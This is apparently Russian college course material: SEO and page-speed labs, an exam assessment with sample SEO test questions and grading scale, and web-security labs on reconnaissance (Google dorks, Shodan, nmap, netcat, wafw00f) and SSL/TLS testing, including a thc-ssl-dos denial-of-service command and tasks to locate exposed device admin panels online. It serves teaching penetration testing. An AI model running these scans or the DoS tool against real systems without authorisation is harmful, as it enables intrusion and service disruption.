несколько ключевых слов по тематике сайта. Свести выделенные слова в таблицу: 
№ Ключевые 

слова 
Тип 

(НЧ, СЧ, ВЧ) 

Прогнозируемая частота 

появления (по данным 

сервиса) 

Конкурентность 

(по выдаче 

поисковой 

системы) 
     

В семантическое ядро включить 1-2 ВЧ запроса, 3-4 СЧ запроса и 5-6 НЧ 

запросов. Таблицу включить в отчет по лабораторной работе. 

2.  Выбрать страницу сайта, которая будет основной продвигаемой 

(можно ограничиться одной). Провести SEO-копирайтинг - составить текст 

страницы таким образом, чтобы вхождение ключевых слов в текст соответ-

ствовало требованиям по показателям релевантности и тошнотности. Проверку 

осуществлять с использованием специализированных сервисов (например, 

https://text.ru/seo, https://istio.com или https://advego.ru/text/seo). Результат проверки 

включить в отчет по лабораторной работе. 

3.  Насытить ключевыми словами значимые для продвижения позиции и 

структурные элементы страницы (теги и метатеги title, description, keywords, 

заголовки h1-h6). Выполнить внутреннюю перелинковку сайта с целью 

продвижения выбранной страницы. 

4.  Добавить на продвигаемую страницу несколько ссылок на автори-

тетные ресурсы схожей тематики. 

5.  Создать файл robots.txt, в котором для основных поисковых роботов 

Яндекс и Google запретить индексацию страниц регистрации и аутентификации 

пользователей. 

6.  Рекомендовать поисковым движкам повторно посещать сайт не чаще 

одного раза в неделю, разрешить им переход по ссылкам на страницах сайта. 

7.  Показать преподавателю результат работы в виде SEO- 

оптимизированного сайта 

8.  Предоставить преподавателю отчет по лабораторной работе, отчитать 

лабораторную работу. 

https://text.ru/seo
https://istio.com/
https://advego.ru/text/seo


 

Содержимое пояснительной записки. 

1.  Титульный лист 

2.  Название и цель лабораторной работы 

3.  Результаты выбора семантического ядра в виде таблицы 

4.  Результаты анализа частоты вхождения ключевых слов в текст целе-

вой страницы 

5.  html-код продвигаемой страницы 

6.  Содержимое файла robots.txt 
Список рекомендуемых источников 

1.  Описание файла robots.txt на сервисе «Яндекс-Помощь». 

https://yandex.ru/support/webmaster/controlling-robot/robots-txt.xml 

2.  https://www.sitemaps.org - официальный сайт о формате файла 

sitemap.xml 

3.  SEO-искусство раскрутки сайтов. Э.Энж, С. Спенсер, Р. Фишкин, Д. 

Стрикчиола. СПб.: БХВ-Петербург, 2014. - 688с. 

4.  Искусство продвижения сайта. Полный курс SEO от идеи до первых 

клиентов. К. Горяев. М.: Инфра-Инженерия, 2017. - 268 с. 

5.  SEO-копирайтинг. Практическое руководство по созданию "пра-

вильных" текстов. К. Храповицкий. М.: Наука и техника, 2014г. - 304с. 
 

2. Лабораторная работа  «Исследование способов ускорения загрузки 

сайтов» 

Цель работы: исследовать способы ускорения загрузки веб-страниц. 

Вводные факты 

В первую очередь скорость загрузки влияет на поведенческие факторы: 

глубину просмотра и количество отказов. У быстрых сайтов выше показатель 

конверсии. Также от скорости косвенно зависит успех поискового продвижения: 

при прочих равных Google учитывает время загрузки страницы. 

Инженеры Google выяснили, что пользователь замечает даже пустяковую 

задержку загрузки — 0,4 секунды; 

Пользователь с большой вероятностью покинет страницу, если та 

загружается 3+ секунд; 

Мобильные пользователи готовы ждать немного дольше — 6-10 секунд; 

79% пользователей интернет-магазинов не сделают повторную покупку, 

если в первый раз сайт загружался долго. 

Эксперимент Financial Times 

Представители деловой газеты провели эксперимент с новым сайтом 

издания. 

Участников поделили на две группы. Первая, контрольная, просматривала 

страницы с обычной скоростью загрузки, а вторая — с задержкой в пять секунд. 

Во втором этапе приняли участие уже четыре группы: контрольная и ещё три, 

участникам которых «досталась» задержка в одну, две и три секунды. Глубину 

просмотра в течение сессии взяли за коэффициент конверсии (рассматривали 

https://yandex.ru/support/webmaster/controlling-robot/robots-txt.xml
https://www.sitemaps.org/
http://www.nytimes.com/2012/03/01/technology/impatient-web-users-flee-slow-loading-sites.html?pagewanted=all
http://engineroom.ft.com/2016/04/04/a-faster-ft-com/


 

пользователей, которые посетили хотя бы две страницы) и посчитали разницу 

между конвертированными пользователями в каждой из групп. 

При посещении двух страниц разница между графиками не бросается в 

глаза, но при посещении трёх и более страниц заметно постепенное снижение по 

всем вариантам задержки загрузки — и чем больше глубина просмотра, тем 

значительнее разница. При самых низких скоростях, с задержкой в три и пять 

секунд, коэффициент конверсии оказался на 7,5% и 11% ниже по сравнению с 

контрольной группой. 

Чем больше задержка загрузки, тем меньше просматривается страниц за 

сессию. Результат исследования говорит о том, насколько скорость загрузки 

важна для вовлечённости пользователей и, в конечном счёте, конверсии. 

 

Скорость загрузки можно измерить с помощью этих сервисов: 

Проверка скорости сайта PR-CY, 

GTmetrix, 

PageSpeed. 

Как увеличить скорость загрузки сайта 

1. Уменьшите объем загружаемых страниц 

Используйте сжатие gzip, это сократит время передачи файлов браузеру. 

Объём передаваемых данных уменьшится в 4-5 раз, а скорость загрузки — 

увеличится. 

Nginx 

Для включения сжатия gzip в Nginx, измените конфигурацию сервера и 

добавьте эти строки: 

server {  

....  

gzip on;  

gzip_disable «msie6»;  

gzip_types text/plain text/css application/json application/x-javascript text/xml  

pplication/xml application/xml+rss text/javascript application/javascript;  

} 

Apache 

Сначала убедитесь, что подключен модуль mod_deflate. После этого нужно 

добавьте в файл .htaccess следующие строки: 

AddOutputFilterByType DEFLATE text/plain  

AddOutputFilterByType DEFLATE text/html  

AddOutputFilterByType DEFLATE text/xml  

AddOutputFilterByType DEFLATE text/css  

AddOutputFilterByType DEFLATE application/xml  

AddOutputFilterByType DEFLATE application/xhtml+xml  

AddOutputFilterByType DEFLATE application/rss+xml  

AddOutputFilterByType DEFLATE application/javascript  

AddOutputFilterByType DEFLATE application/x-javascript 

Уровень сжатия 

Gzip поддерживает уровень сжатия от 1 до 9. В Nginx его можно 

http://pr-cy.ru/speed_test/
https://gtmetrix.com/
https://developers.google.com/speed/pagespeed/insights/
http://httpd.apache.org/docs/2.2/mod/mod_deflate.html


 

регулировать таким образом: 

gzip_comp_level 5; 

Оптимальный уровень сжатия — 5. 

2. Уменьшите объём графики 

Удалите ненужные изображения. Там, где это возможно, используйте текст 

вместо заведомо более тяжёлой графики. 

Формат JPG лучше всего подходит для фотографий. PNG предпочтительнее 

для остальных элементов сайта — иконок, иллюстраций и пр., при условии, что 

изображения правильно сжаты. Учитывайте, что сайт будет просматриваться на 

разных устройствах и в разных браузерах. 

Вы можете использовать одно масштабируемое изображение, но оно будет 

занимать много места и тормозить загрузку страницы. Лучше использовать 

несколько изображений, адаптированных под разные устройства, чтобы браузер 

загрузил нужное — это можно сделать при помощи плагина Imager. Он заменяет 

плейсхолдеры прозрачными изображениями, подтягивает к каждому атрибут src и 

назначает нужный размер, после чего вам остаётся только загрузить несколько 

вариантов изображения разных размеров. 

Как это работает:  

<div style="width: 240px">  

<div class="delayed-image-load" data-src="httр://placehold.it/{width}" data-

alt="alternative text"> </div> 

</div>  

<script>  

new Imager({ availableWidths: [200, 260, 320, 600] });  

</script> 

Сжать изображения можно при помощи  функции сохранения веб-страниц в 

графических редакторах или сервисов PunyPNG, TinyPNG и других. 

3. Уменьшите количество запросов браузера 

Этот пункт перекликается с предыдущим. Один из способов уменьшить 

количество запросов браузера — удалить со страницы часть элементов. 

Используйте CSS-спрайты — графические файлы, содержащие сразу 

несколько изображений. Это оптимальный способ, если на сайте много маленьких 

изображений и иконок. Объедините несколько CSS- и JS-файлов в один, это 

сократит количество HTTP-запросов. 

Чтобы посмотреть количество запросов браузера в Chrome, войдите в 

«Инструменты разработчика» (Настройки → Дополнительные инструменты) и 

перейдите во вкладку Network. 

 

4. Включите кэширование данных 

Настройте сервер так, чтобы браузер пользователя кэшировал данные — в 

этом случае при первом посещении сайта некоторые элементы страниц 

(изображения, CSS- и JS-файлы) сохранятся автоматически. В следующий раз 

браузер не потратит время на их загрузку. 

Однако такой способ помогает увеличить скорость загрузки только при 

повторных посещениях сайта. 

http://www.punypng.com/
https://tinypng.com/


 

Как включить кэширование? 

Используйте модуль headers веб-сервера Apache, который контролирует и 

изменяет заголовки HTTP-запросов и HTTP-ответов. Браузер загружает с сервера 

в локальный кэш данные, которые редко изменяются, и при посещении сайта 

загружает их уже из кэша. Также можно кэшировать файлы определённых типов 

на заданное время, по истечении которого они будут загружены с сервера заново. 

Это можно сделать так: 

<FilesMatch «.(gif|jpeg|png|swf|js|css|pdf|ico)$»>  

Header set Cache-Control «max-age=1234000» </FilesMatch> 

Укажите нужные расширения файлов в конструкции FilesMatch, где для них 

устанавливается заголовок Cache-Control и переменная max-age, с помощью 

которой указывается время хранения файлов в секундах. Те файлы, которые не 

нужно кэшировать, просто не включайте в список. 

Также можно запретить кэширование файлов. Добавьте приведённый ниже 

код в .htachess, предварительно указав, какие типы файлов кэшировать не нужно: 

<FilesMatch «.(pl|php|cgi|fcgi|scgi)$»>  

Header unset Cache-Control  

</FilesMatch>Вы также можете управлять кэшированием с помощью 

модуля expires. Он контролирует установку HTTP-заголовков для кэширования со 

стороны браузера. Укажите период хранения данных в зависимости от времени, 

от последнего изменения файла или от времени доступа клиента. 

Например, так: 

<IfModule mod_expires.c>  

ExpiresActive On ExpiresDefault «access plus 2 month»  

ExpiresByType image/png «access plus 4 months»  

ExpiresByType image/swf «access plus 4 months»  

</IfModule> 

Или так: 

ExpiresByType text/html «access plus 2 month 14 days 7 hours»  

ExpiresByType image/gif «modification plus 8 hours 3 minutes» 

5. Сократите размер кода CSS и JavaScript 

Специальные сервисы для упрощения JavaScript и CSS удаляют из кода 

«лишние» символы (пробелы, комментарии) и сокращают время его загрузки. Для 

увеличения скорости они могут быть эффективнее, чем стандартное сжатие gzip. 

Google рекомендует СSS-файлы небольшого размера вставлять непосредственно в 

документ HTML. 

Вы можете воспользоваться этими сервисами: 

CSS Drive, 

CSS Compressor. 

Размещайте CSS-файлы в начале страницы, а JS-файлы — в конце. 

Если CSS-файлы расположены в хедере, рендеринг страницы происходит 

постепенно, что формирует положительное впечатление от сайта. Размещение JS-

файлов внизу страницы позволяет браузеру сначала загрузить контент страницы, 

а уже потом разобраться со скриптами. 
 

http://www.cssdrive.com/index.php/main/csscompressor/
http://csscompressor.com/


 

 

 

 

 
Государственное профессиональное образовательное учреждение 

«Сыктывкарский лесопромышленный техникум» 

 

«Сыктывкарса вӧр промышленносьт техникум» 

уджсикасӧ велӧдан канму учреждение 
 

РАССМОТРЕНО 

на заседании МК  

«Профессионального цикла»  

Протокол № 1 от «31» августа 2021 г. 

Председатель МК_________ Исакова О.В.        

 УТВЕРДЖАЮ:                                                                                                           

Зам. директора 

_______________ М.А. Арцер 

 «31» августа  2021 г. 

 

 

 

Контрольно-оценочное средство  
 

МДК. 09.02 Оптимизация веб-приложений 
 

Тип контрольного задания: Экзамен  

 

Раздел 2. Оптимизация веб-приложений 

  

Критерии оценки 

Оценка Критерии 

2 (не зачтено): студент решил верно менее 67% заданий тест. 

3  (удовлетворительно): выполнено верно от 67 до 80% заданий теста. 

4 (хорошо): выполнены верно от 80 до 90% заданий теста. 
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Проверяемые результаты 

обучения:  

 ПО 3-4  У 1-3, З 1-3 



 

Паспорт контрольно-измерительных материалов для проведения 

промежуточной аттестации по курсу МДК. 09.02 Оптимизация веб-приложений. 

Область применения  

Контрольно-измерительные материалы для проведения промежуточной 

аттестации по курсу МДК. 09.02 Оптимизация веб-приложений предназначены 

для проверки результатов освоения умений и усвоения знаний в соответствии с 

программой профессионального модуля ПМ.09. Проектирование, разработка и 

оптимизация веб-приложений. 

Экзамен проходит в форме тестирования. 

Основыне темы вопросов к зачету 

 

1. Классификация сайтов 

2. Определение целей для продвижения сайта 

3. Целевая аудитория сайта 

4. Соответствие сайта ожиданиям целевой аудитории 

5. Обзор методов и технологий продвижения сайтов 

6. SEO – поисковая оптимизация 

7. Реклама в Интернет -  SEA (реклама в поисковых машинах: контекстная и 

контекстно-медийная), медийная реклама (на площадках) 

8. Маркетинг в социальных сетях 

9. Другие способы продвижения интернет проектов 

10. Основные этапы продвижения сайта 

11. Отдача от различных способов продвижения 

12. Принципы работы поисковых машин на примере Яндекс и Google 

13. Индексация сайтов 

14. Поиск и оценка релевантности 

15. История алгоритмов поисковых машин 

16. Оптимизация в эпоху Матрикснет - поведенческие факторы и машинное 

обучение 

17. Взаимодействие поисковых машин и сайтов - протокол HTTP 

18. Принцип взаимодействия в Интернет 

19. Статус и заголовки ответа сервера 

20. Переадресация и ошибки сервера 

21. Файл .htaccess 

22. Терминология SEO 

23. Виды запросов пользователей 

24. Прогнозирование количества запросов. Семантическое ядро сайта 

25. Лабораторная работа: составление семантического ядра 

26. SEO-тексты. Инструменты для оценки и написания SEO-текстов. 

27. Оптимальная структура и разметка страницы 

28. Управление индексацией сайта 

29. Как ускорить появление страниц в индексе поисковых машин 

30. Файл robots.txt – настройка запретов на индексацию страниц 

31. Карта сайта XML Sitemap 

32. Инструменты для Web-мастеров - диагностика сайта 

33. Яндекс Web-мастер – настройка и контроль параметров индексации 

34. Google Web-мастер – дополнительные возможности Google 



 

35. Дополнительные инструменты SEO-оптимизатора 

36. Тулбары поисковых машин 

37. SEO плагины – расширения стандартных возможностей браузеров 

38. On-line инструменты для SEO анализа 

 

ПРИМЕРНЫЕ ВОПРОСЫ ТЕСТА 

 

1. Перечислите основные факторы, влияющие на позиции сайта в поисковой 

выдаче 

 актуальность информации 

 авторитет 

 достоверность информации 

 релевантность 

 популярность бренда 

 

2. Что такое релевантность в поисковой системе? 

 степень соответствия информации критериям поиска 

 это сколько раз в месяц искали заданный сайт через поисковые 

системы 

 это процентное соотношение прямых и реферальных переходов на 

заданный сайт 

 

3. Что из нижеперечисленного можно определить как "степень соответствия 

информации критериям поиска"? 

 релевантность 

 рейтинг переходов 

 частота поиска 

4. акие особенности поисковой оптимизации выделяют её среди прочих 

маркетинговых ходов? 

(Ответ считается верным, если отмечены все правильные варианты 

ответов.) 

 доступ к подробной информации о поведении пользователей 

 небольшие финансовые затраты 

 возможность точной оценки результатов 

 краткосрочный результат 

 

5. По каким критериям оцениваются ключевые фразы в аналитических 

инструментах (таких как, например, Инструмент подсказки ключевых слов 

в Google AdWords)? 

(Ответ считается верным, если отмечены все правильные варианты 

ответов.) 

 количество символов 

 стоимость в платном поиске 

 релевантность 

 частота поиска 



 

 конкуренция 

 

6. Представьте себя владельцем нового магазина аксессуаров для мобильных 

устройств. За какую ключевую фразу вы бы стали бороться? 

(Отметьте один правильный вариант ответа.) 

 iphone 5 

 розовые чехлы для iphone 5 

 чехлы для iphone 5 

7. Что значит "частота запроса" с точки зрения SEO? 

 это сколько раз в месяц искали заданную ключевую фразу в 

поисковой системе 

 это сколько раз в месяц искали заданный сайт через поисковые 

системы 

 это процент содержания запроса (слова) на рассматриваемой странице 

 это процентное соотношение прямых и реферальных переходов на 

заданный сайт 

8. Перечислите основные правила оптимизации контента. 

(Ответ считается верным, если отмечены все правильные варианты 

ответов.) 

 стать доверенным источником информации 

 писать коротко и ясно 

 создавать привлекательный и качественный контент 

 писать как можно более подробную информацию 

 писать в неформальном стиле 

9. Перечислите основные правила проектирования структуры сайта. 

(Ответ считается верным, если отмечены все правильные варианты 

ответов.) 

 избегать тупиковых страниц 

 избегать цикличности 

 создать понятную для людей структуру 

10. Какие существуют способы описания нетекстовой информации? 

(Ответ считается верным, если отмечены все правильные варианты 

ответов.) 

 оптимизация кода 

 текстовое описание около нетекстового элемента 

 встроенные субтитры (в видео) 

11. Как поисковые системы могут распознавать изображения? 

(Ответ считается верным, если отмечены все правильные варианты 

ответов.) 

 при помощи алгоритма распознавания изображений 

 по текстовому описанию вокруг изображения 

 по описанию в теге <img alt /> 

12. Для чего нужна XML карта сайта? 

(Отметьте один правильный вариант ответа.) 

 для предоставления пользователям структуры сайта 

 для предоставления поисковым системам структуры сайта 



 

 для удобства при разработке сайта 

 

Наиболее подходящим способом оценки результатов представляется 

рейтинговый подход. Рейтинговая (процентная) шкала может переводиться в 

порядковую, следующим образом: 

 получение студентом результата менее 67% соответствует оценке 

«неудовлетворительно»; 

 от 67%, но не более 80% - «удовлетворительно»; 

 от 80%, но не более 90% - «хорошо»; 

 90-100% - «отлично». 

Вычисление рейтинговой оценки следует выполнять по следующим 

алгоритмам: 

   если используются вопросы с выбором ответа, то расчет выполняется по 

формуле k = p/a*100, где k – коэф-т усвоения в % с точностью до 2-х 

знаков после запятой, p – количество правильных выборов (т.е студент 

выбрал правильные ответы и отверг неверные), a – общее количество 

выборов в вопросах теста; 

 если используются вопросы на установление порядка или на ввод ответа  в 

окне формы, то используется та же формула, но количество правильных 

выборов ставится равным 0 при любом несовпадении с ключом ответа и 

равным количеству выборов при правильном ответе (при установлении 

порядка оно равно количеству описанных действий, ранжируемых по 

порядку, а при вводе ответа в окне формы – 1). 

Перевод рейтинговой шкалы в порядковую  

шкалу оценок 

a - количество  

верных 

ответов 

k- коэф. Рейтинг оценка 

60 1,00 100,00% отлично 

59 0,98 98,33% отлично 

58 0,97 96,67% отлично 

57 0,95 95,00% отлично 

56 0,93 93,33% отлично 

55 0,92 91,67% отлично 

54 0,90 90,00% отлично 

53 0,88 88,33% хорошо 

52 0,87 86,67% хорошо 



 

51 0,85 85,00% хорошо 

50 0,83 83,33% хорошо 

49 0,82 81,67% хорошо 

48 0,80 80,00% хорошо 

47 0,78 78,33% удовлетворительно 

46 0,77 76,67% удовлетворительно 

45 0,75 75,00% удовлетворительно 

44 0,73 73,33% удовлетворительно 

43 0,72 71,67% удовлетворительно 

42 0,70 70,00% удовлетворительно 

41 0,68 68,33% удовлетворительно 

40 0,67 66,67% удовлетворительно 

39 0,65 65,00% неуд. 

38 0,63 63,33% неуд. 

37 0,62 61,67% неуд. 

36 0,60 60,00% неуд. 

35 0,58 58,33% неуд. 

34 0,57 56,67% неуд. 

33 0,55 55,00% неуд. 

32 0,53 53,33% неуд. 

31 0,52 51,67% неуд. 

30 0,50 50,00% неуд. 
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1. Лабораторная работа «Сбор информации о web-приложении» 

 

Цель работы: целью лабораторной работы является обучение методам и 

средствам сбора информации об анализируемом веб-приложении. 

Краткие теоретические сведения 

Одним из первых этапов анализа защищенности любой компьютерной 

системы является сбор информации. В зависимости от используемой методологии 

анализа защищенности вебприложения могут применяться различные методы и 

средства сбора информации. Стоит отметить, что сбор информации, как правило, 

не характерен для методологии инструментального анализа защищенности 

(сканирования), а характерен для методологии тестирования на возможность 

проникновения. 

Методы сбора информации делятся на активные и пассивные. Активные 

методы требуют непосредственного взаимодействия с исследуемым приложением 

путем отправки ему запросов и анализа соответствующих ответов, а пассивные 

методы используют информацию, отправляемую сервером веб-приложения его 

клиентам (например, HTTP-заголовки X-Frame-Options, Strict-Transport- Security и 

т.д.) без отправки запросов. При анализе вебприложений, как правило, 

используются только активные методы. Активные методы делятся на методы с 

подключением к приложению (например, идентификация веб-сервера с помощью 

сканера Httprint) и методы без подключения (например, сбор информации о 

приложении поисковыми роботами, сканерами Интернет, и т.д.). 

В результате проведения сбора информации о веб-приложении могут быть 

получены: 

 имена и IP-адреса сетевых узлов, на которых размещены веб-

приложение и его компоненты; 

 логины и пароли технологических учетных записей; 

 комментарии разработчиков; 

 данные о системном и прикладном ПО, применяемых средствах 

защиты и конфигурации веб-приложения; 

 адреса электронной почты разработчиков приложения; 

 исходный код серверной части веб-приложения; 

 конфиденциальные файлы. 

Программными средствами получения необходимой информации являются: 

 поисковые системы (например, Google, Shodan, Bing); 

 специализированные сканеры уязвимостей Интернет (например, 

http://un1c0rn.net/); 

 инструментальные средства анализа защищенности сетей общего 

назначения (Nmap, Xprobe2, XSpider); 

 инструментальные средства анализа защищенности сетей веб-

приложений (AppScan, Acunetix, Burp Suite, ZAP, W3AF и т.д.). 

http://un1c0rn.net/


 

Постановка задачи 

Выполнить сбор информации об анализируемом вебприложении 

www.test.app.com. 

Последовательность действий 

Будем рассматривать сбор информации на примере вебприложения с 

условным именем www.test.app.com. 

Шаг 1. В адресной строке браузера перейти по адресу www. test. app. 

com/robots . txt. Проанализировать содержимое файла. Сделать выводы о наличии 

«скрытых» директорий. 

Шаг 2. В адресной строке браузера перейти по адресу 

http://www.test.app.com/crossdomain.xml и, затем, по адресу 

http://www.test.app.com/clientaccesspolicy.xml. Проанализировать содержимое 

файлов. Сделать выводы о корректности конфигурации политики междоменного 

взаимодействия RIA [3]. 

Шаг 3. Перейти по адресу http://www.google.com. Задать поисковые 

запросы, определяемые анализируемым приложением, например: 

 site:www.test.app.com filetype:docx confidential 

 site:www.test.app.com filetype:doc secret 

 site:www.test.app.com inurl:admin 

 site:www.test.app.com filetype:sql 

 site:www.test.app.com intext: "Access denied" 

Проанализировать логику запросов и полученные данные. Построить свои 

запросы, используя примеры из базы запросов [4]. 

Шаг 4. Перейти по адресу http://www.shodanhq.com. Задать следующий 

поисковый запрос: 

 hostname:www.test.app.com 

Построить свои запросы для приложения www. test. app . com. Шаг 5. 

Данный тест выполняется только для приложений, азмещенных в лабораторной 

сети. С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию 

ОС веб-сервера: 

 nmap -O www.test.app.com -vv 

 xprobe2 www.test.app.com 

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat: 

 nc www.test.app.com 80 Отправить следующий GET запрос 

GET / HTTP/1.1 

Host: www.test.app.com 

\r\n 

По заголовкам Server и X-Powered-By определить программное 

обеспечение, реализующее веб-сервер и фрэймворк вебприложения. 

В браузере установить расширение Wappalyzer, перейти по адресу веб-

приложения и проанализировать информацию о компонентах веб-приложения 

полученное через Wappalyzer. 

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) 

или Httprecon (ОС Windows) выполнить идентификацию веб-сервера: 
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 cd /pentest/enumeration/web/httprint/linux 

 ./httprint -h www.test.app.com -s signatures.txt 

С помощью сканера Wafw00f проверить наличие у вебприложения 

подсистемы WAF: 

 cd /pentest/web/waffit 

 python ./wafw00f.py http://www.test.app.com 

 python ./wafw00f.py https://www.test.app.com 

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером 

HTTP-методов. Для этого необходимо отправить с помощью Burp Suite или Netcat 

запрос следующего вида: 

OPTIONS / HTTP/1.1 Host: www.test.app.com \r\n 

Проверить, поддерживает ли сервер обработку запросов с произвольными 

методами: 

DOGS / HTTP/1.1 

Host: www.test.app.com 

\r\n 

Если веб-сервер поддерживает метод TRACE, то это может привести к 

уязвимости к атаке Cross-Site Tracing (XST). Для проверки поддержки веб-

сервером методы TRACE отправить запрос 

TRACE / HTTP/1.1 

Host: www.test.app.com 

\r\n 

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке 

XST, если получен ответа вида 

HTTP/1.1 200 OK Connection: close Content-Length: 39 TRACE / HTTP/1.1 

Host: www.test.app.com 

Вопросы и задания 

 Найти административные интерфейсы коммуникационного и сетевого 

оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi 

маршрутизаторы, и т.д.), подключенные к сети Интернет. 

 Известно, что адрес веб-интерфейса системы VMWare Horizon View HTML 

Access содержит строку portal/webclient/views/mainUI.html. Найти такие системы, 

доступные из сети Интернет. 

 Оценить количество коммутаторов Cisco Catalyst с административным веб-

интерфейсом, подключенным к сети Интернет. 

Тестирование защищенности транспортного уровня Цель работы 

Целью лабораторной работы является обучение методам и средствам 

тестирования защищенности служб SSL/TLS. 

Краткие теоретические сведения 

Защита транспортного уровня веб-приложения основана на использовании 

протоколов семейства SSL/TLS, имеющих значительное количество механизмов, 

функций и параметров защиты, реализация и конфигурация которых определяет в 

конечном итоге уровень защищенности веб-приложения. Несмотря на то, что в 

настоящее время известно много автоматизированных средств тестирования 
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защищенности SSL/TLS (например, сервис www.ssllabs.com, программы SSLscan 

и SSLyze), детали их реализации, как правило, неизвестны или требуют 

дополнительного исследования, что иногда не позволяет полностью доверять 

результатам их работы. Одним из низкоуровневых и надежных средств 

тестирования защищенности служб SSL/TLS является клиент OpenSSL. 

Постановка задачи 

Выполнить тестирование защищенности служб SSL/TLS вебсервера 

www.test.app.com. 

Последовательность действий 

Шаг 1. Выполнить базовые проверки SSL/TLS. Установить последнюю 

версию пакета OpenSSL. Запустить сетевой анализатор Wireshark. Выполнить 

тестовое подключение к серверу: 

# openssl s client -connect www.test.app.com:443 

Просмотреть трассировку установки соединения в Wireshark. Определить 

следующие параметры: версию протокола SSL/TLS, используемый 

криптографический набор (cipher suite), длину открытого ключа сервера, 

включение механизма сжатия данных. Отправить следующий HTTP-запрос и 

убедиться в получении ответа от сервера: 

GET / HTTP/1.1 

Host: www.test.app.com 

Проверить поддержку сервером механизма «Sever Name Indica- tion» (SNI): 

 openssl s client -connect www.test.app.com:443 -servername www.test.app.com 

Просмотреть трассировку установки соединения в Wireshark в этом случае. 

Поддержка расширения SNI идентифицируется путем установки соединения с 

опцией SNI и без нее. Если в ответ получены различные сертификаты, то SNI 

поддерживается сервером. Если указанное в опции SNI имя неизвестно, то клиент 

выводит сообщение об ошибке или предупреждение. 

Шаг 2. Идентифицировать все поддерживаемые протоколы SSL/TLS, 

выполнив последовательно команды: 

 openssl s client -connect www.test.app.com:443 -ssl2 

 openssl s client -connect www.test.app.com:443 -ssl3 

 openssl s client -connect www.test.app.com:443 -tls1 

 openssl s client -connect www.test.app.com:443 -tls1_1 

 openssl s client -connect www.test.app.com:443 -tls1_2 

Просмотреть трассировку сканирования. Найти отличия в структуре 

сетевых сообщений для разных версий протокола. 

Шаг 3. Идентифицировать криптографические наборы (cipher suite), 

поддерживаемые сервером. Для получения всех поддерживаемых клиентом 

криптографических наборов выполнить командуДля проверки поддержки, 

например, набора AES256-SHA выполнить следующую команду: 

 openssl s client -connect www.test.app.com:443 -cipher AES256-SHA 

Проверить поддержку криптографического набора, содержащего шифр 

RC4: 

 openssl s client -connect www.test.app.com:443 -cipher RC4-SHA 
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Проверить, что при установке защищенного соединения криптографический 

набор выбирается в порядке, определяемом настройками сервера, а не клиента. 

Для этого из списка поддерживаемых сервером криптографических наборов 

выбрать три произвольных и выполнить команды, например: 

 openssl s client -connect www.test.app.com:443 -cipher 'AES256-

SHA256,AES128-SHA,DES-CBC-SHA' 

 openssl s client -connect www.test.app.com:443 -cipher 'AES128-

SHA256,AES256-SHA,DES-CBC-SHA' 

 openssl s client -connect www.test.app.com:443 -cipher 'DES-CBC-

SHA,AES128-SHA,AES256-SHA256' 

При корректной настройке во всех случаях должен быть выбран набор 

AES256-SHA256. 

Проверить поддержку сервером Forward Secrecy на основе DHE и ECDHE: 

 openssl s client -connect www.test.app.com:443 -cipher 'ECDHE—RSA-

AES256-SHA384' 

 openssl s client -connect www.test.app.com:443 -cipher 'DHE—RSA-AES256-

SHA256' 

Шаг 4. Для определения поддержки сервером механизма «Session 

Resumption» выполнить команду 

 openssl s client -connect www.test.app.com:443 -reconnect 

или ее менее информативный вариант 

 openssl s client -connect www.test.app.com:443 -reconnect | grep 'New\|Reuse' 

Шаг 5. Для идентификации механизма «Secure Renegotiation» выполнить 

команду 

 openssl s client -connect www.test.app.com:443 | grep 'Secure Renegotiation' 

Просмотреть трассировку сканирования и убедиться в поддержке данного 

механизма. Поддержка механизма «Secure Renegotiation» сервером определяется 

по наличию расширения «renegotia- tion_info» в сообщение ServerHello или путем 

просмотра вывода команды 

 openssl s client -connect www.test.app.com:443 -tlsextdebug 

Для идентификации поддержки сервером механизма «Client- Initiated 

Renegotiation» необходимо подключиться к веб-серверу по SSL/TLS с помощью 

клиента OpenSSL 

 openssl s client -connect www.test.app.com:443 и затем отправить запрос: 

HEAD / HTTP/1.1 

Host: www.test.app.com 

R 

GET / HTTP/1.1 

Host: www.test.app.com 

R 

Если сервер не поддерживает «Client-Initiated Renegotiation», то будет 

выведено сообщение об ошибке. Если сервер поддерживает данный механизм, то 

сервер отправит клиенту снова свои сертификаты. 

Поддержка механизма «Client-Initiated Renegotiation» может быть 

http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com/
http://www.test.app.com/


 

использована для реализации в отношении веб-сервера DoS- атаки, так как при 

каждом установлении соединения сервер вынужден тратить существенно больше 

вычислительных ресурсов чем клиент. 

Чтобы проверить возможность реализации DoS-атаки, можно проверить, 

сколько раз клиент может инициировать пересогласо- вание (renegotiation) 

криптографических параметров: 

GET / HTTP/1.1 

Host: www.test.app.com 

R 

R 

R 

R 

R 

Другой способ тестирования - использование эксплоита thc-ssl- dos [6], 

например: 

# thc-ssl-dos —accept 192.168.1.1 443 

Шаг 6. Проверить наличие уязвимости к атаке «BEAST». Данная атака 

использует недостатки блочных шифров, работающих в режиме CBC, и 

существует во всех версиях протоколов SSL/TLS до версии TLS 1.1. Для того 

чтобы защититься от атаки BEAST, необходимо использовать шифр RC4 или 

протокол TLS версии 1.1 и старше. С другой стороны, шифр RC4 в настоящее 

время считается небезопасным, поэтому его использование нежелательно. Для 

защиты от атаки BEAST на практике предлагается два подхода: первый из них 

носит название «Строгое ослабление» (Strict mitigation) и предполагает 

использование протокола TLS версии 1.1 и старше со всеми клиентами, которые 

его поддерживают; второй подход называется «Приоритезация RC4» (RC4 

prioritization) и заключается в повышении приоритета шифра RC4 для клиентов, 

поддерживающих только протоколы SSL 2.0, SSL 3.0 и TLS 1.0. Таким образом, 

необходимо убедиться, что клиенты SSL 3.0 или TLS 1.0, не поддерживающие 

шифр RC4, не смогут установить соединение: 

 openssl s client -connect www.test.app.com:443 -no ssl2 -no tls1 1 -no tls1 2 -

cipher 'ALL:!RC4' 

или что клиенты, поддерживающие шифр RC4, установят соединение, 

используя его 

 openssl s client -connect www.test.app.com:443 -no ssl2 -no tls1 1 -no tls1 2 -

cipher 'ALL:+RC4' 

Шаг 7. Проверить наличие уязвимости к атаке «Heartbleed» по косвенным 

